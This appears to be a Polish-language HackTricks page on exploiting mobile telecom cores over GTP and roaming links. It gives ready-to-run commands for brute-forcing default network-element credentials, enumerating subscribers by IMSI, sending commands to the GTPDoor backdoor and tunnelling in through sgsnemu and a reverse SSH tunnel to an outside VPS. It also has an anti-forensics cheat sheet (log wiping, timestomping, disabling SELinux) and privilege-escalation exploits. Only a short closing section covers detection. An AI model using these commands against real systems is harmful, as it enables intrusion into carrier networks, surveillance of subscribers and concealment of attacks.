141 lines
6.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Telecom Network Exploitation (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Protokół mobilny (GPRS Tunnelling Protocol GTP) często przechodzi przez pół-zaufane rdzenie roamingowe GRX/IPX. Ponieważ korzystają z prostego UDP z prawie żadną autoryzacją, **jakiekolwiek wejście wewnątrz perymetru telekomunikacyjnego zazwyczaj może bezpośrednio dotrzeć do rdzeniowych płaszczyzn sygnalizacyjnych**. Poniższe uwagi zbierają ofensywne sztuczki zaobserwowane w terenie przeciwko SGSN/GGSN, PGW/SGW i innym węzłom EPC.
## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts
Zaskakująco duża liczba elementów sieciowych dostawców jest dostarczana z twardo zakodowanymi użytkownikami SSH/Telnet, takimi jak `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Dedykowana lista słów znacznie zwiększa sukces brute-force:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Jeśli urządzenie udostępnia tylko VRF zarządzania, najpierw przeskocz przez host skokowy (zobacz sekcję «SGSN Emu Tunnel» poniżej).
### 1.2 Odkrywanie hostów w GRX/IPX
Większość operatorów GRX nadal pozwala na **ICMP echo** wzdłuż rdzenia. Połącz `masscan` z wbudowanymi sondami UDP `gtpv1`, aby szybko zmapować nasłuchiwacze GTP-C:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Enumerowanie subskrybentów `cordscan`
Narzędzie Go tworzy pakiety **GTP-C Create PDP Context Request** i rejestruje odpowiedzi. Każda odpowiedź ujawnia aktualny **SGSN / MME** obsługujący zapytany IMSI i, czasami, odwiedzony przez subskrybenta PLMN.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Kluczowe flagi:
- `--imsi` Docelowy subskrybent IMSI
- `--oper` Krajowy / HNI (MCC+MNC)
- `-w` Zapisz surowe pakiety do pcap
Ważne stałe wewnątrz binarnego pliku mogą być zmieniane, aby rozszerzyć skany:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Wykonanie kodu przez GTP `GTPDoor`
`GTPDoor` to mała usługa ELF, która **wiąże UDP 2123 i analizuje każdy przychodzący pakiet GTP-C**. Gdy ładunek zaczyna się od wspólnego tagu, reszta jest deszyfrowana (AES-128-CBC) i wykonywana za pomocą `/bin/sh -c`. stdout/stderr są eksfiltrowane w wiadomościach **Echo Response**, aby żadne zewnętrzne sesje nie były nigdy tworzone.
Minimalny pakiet PoC (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Wykrywanie:
* każdy host wysyłający **niezrównoważone żądania Echo** do adresów IP SGSN
* flaga wersji GTP ustawiona na 1, gdy typ wiadomości = 1 (Echo) odchylenie od specyfikacji
## 4. Przechodzenie przez rdzeń
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` dostarcza emulator SGSN zdolny do **nawiązania kontekstu PDP w kierunku rzeczywistego GGSN/PGW**. Po negocjacji, Linux otrzymuje nowy interfejs `tun0` dostępny z roamingowego partnera.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Dzięki odpowiedniemu przekierowaniu zapory, ten tunel omija VLAN-y tylko do sygnalizacji i ląduje bezpośrednio w **warstwie danych**.
### 4.2 Odwrócony tunel SSH przez port 53
DNS jest prawie zawsze otwarty w infrastrukturach roamingowych. Udostępnij wewnętrzną usługę SSH na swoim VPS nasłuchującą na :53 i wróć później z domu:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Sprawdź, czy `GatewayPorts yes` jest włączone na VPS.
## 5. Ukryte kanały
| Kanał | Transport | Dekodowanie | Uwagi |
|-------|-----------|-------------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-bajtowy klucz + 14-bajtowe kawałki (XOR) | czysty pasywny nasłuchiwacz, brak ruchu wychodzącego |
| DNS `NoDepDNS` | UDP 53 | XOR (klucz = `funnyAndHappy`) zakodowany w oktetach rekordu A | obserwuje subdomenę `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | blob AES-128-CBC w prywatnym IE | łączy się z legalnym czatem GTP-C |
Wszystkie implanty implementują watchdogi, które **timestomp** ich binaria i ponownie uruchamiają się w przypadku awarii.
## 6. Arkusz oszustw w zakresie unikania obrony
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Eskalacja uprawnień w Legacy NE
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
Wskazówka dotycząca czyszczenia:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Narzędzia
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` niestandardowe narzędzia opisane w poprzednich sekcjach.
* `FScan` : skanowanie TCP w intranecie (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS nieautoryzowany WPAD
* `Microsocks` + `ProxyChains` : lekkie pivotowanie SOCKS5
* `FRP` (≥0.37) : przechodzenie przez NAT / mostkowanie zasobów
---
## Pomysły na wykrywanie
1. **Jakiekolwiek urządzenie inne niż SGSN/GGSN nawiązujące żądania utworzenia kontekstu PDP**.
2. **Niestandardowe porty (53, 80, 443) odbierające handshake SSH** z wewnętrznych adresów IP.
3. **Częste żądania Echo bez odpowiadających odpowiedzi Echo** mogą wskazywać na sygnały GTPDoor.
4. **Wysoka liczba ruchu ICMP echo-reply z dużymi, niezerowymi polami identyfikatora/sekwencji**.
## Odnośniki
- [Palo Alto Unit42 Infiltracja globalnych sieci telekomunikacyjnych](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 Protokół tunelowania GPRS (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
{{#include ../../banners/hacktricks-training.md}}